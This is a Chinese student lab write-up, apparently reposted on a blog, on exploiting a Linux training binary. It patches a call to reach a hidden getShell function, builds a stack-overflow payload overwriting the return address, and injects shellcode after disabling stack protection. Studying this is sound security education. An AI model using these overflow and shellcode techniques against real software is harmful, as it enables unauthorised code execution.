2015531 网络攻防 Exp1 PC平台逆向破解(5)M

2015531 网络攻防 Exp1 PC平台逆向破解(5)M

实践目标

本次实践的对象是linux的可执行文件

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

实践一

首先,通过命令objdump -d pwn1对文件进行反汇编
1071515-20180318210820912-265050934.png

然后通过命令vi pwn1编辑文件
1071515-20180318210938721-1142939932.png

通过命令:%! xxd把文件转为十六进制编辑模式
1071515-20180318210952508-484879991.png

通过命令/d7ff找到需要修改的地方,最后输入i进入编辑模式,即把d7为c3
1071515-20180318211032754-1518584201.png

1071515-20180318211040583-1382874161.png

改完后输入命令:%! xxd -r将文件转回至二进制形式,再输入:wq保存并退出

此时我们可以看到程序已从原来跳转至foo函数变为跳转至getshell函数
1071515-20180318211155351-2031913225.png

1071515-20180318211155347-351546817.png

实践二

通过命令gdb pwn2进行调试,通过命令r进行运行,通过命令info r可查看各寄存器的值,其中主要关注EIP寄存器的值
1071515-20180318224857108-2022009565.png
1071515-20180318224943362-389930662.png

由可知此1234这四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。因此只要把这四个字符替换为getShell的内存地址,输给pwn1,pwn1就会运行getShell

确认用什么值来覆盖返回地址

getShell的内存地址,通过反汇编时可以看到,即0804847d。

对比之前EIP寄存器显示的值0x34333231,此处应输入11111111222222223333333344444444\x7d\x84\x04\x08
1071515-20180318225029770-1707595485.png

实践三

输入命令execstack -s pwn1设置堆栈可执行
1071515-20180318225102068-1446317306.png

输入攻击命令(cat input_shellcode;cat) | ./pwn3
1071515-20180318225128078-359129919.png

找到进程号:4703
1071515-20180318225141492-2121085008.png

输入gdb进行调试

1071515-20180318225200442-631982794.png

1071515-20180318225220438-1382636482.png

1071515-20180318225229321-1826939454.png

转载于:https://www.cnblogs.com/dd1174751354/p/8597515.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值